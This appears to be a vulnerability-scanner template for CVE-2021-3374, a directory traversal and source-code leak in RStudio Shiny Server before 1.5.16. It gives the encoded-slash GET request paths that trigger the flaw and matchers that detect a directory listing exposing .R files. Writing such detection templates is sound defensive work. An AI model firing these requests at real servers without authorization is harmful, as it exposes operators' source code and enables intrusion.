id: CVE-2021-3374 info: name: Rstudio Shiny Server Directory Traversal author: geeknik description: Rstudio Shiny-Server prior to 1.5.16 is vulnerable to directory traversal and source code leakage. This can be exploited by appending an encoded slash to the URL. reference: https://github.com/colemanjp/rstudio-shiny-server-directory-traversal-source-code-leak severity: medium tags: cve,cve2021,rstudio,traversal classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.30 cve-id: CVE-2021-3374 cwe-id: CWE-22 requests: - method: GET path: - "{{BaseURL}}/%2f/" - "{{BaseURL}}/sample-apps/hello/%2f/" matchers-condition: and matchers: - type: status status: - 200 - type: word words: - "Index of /" - type: regex part: body regex: - "[A-Za-z].*\\.R"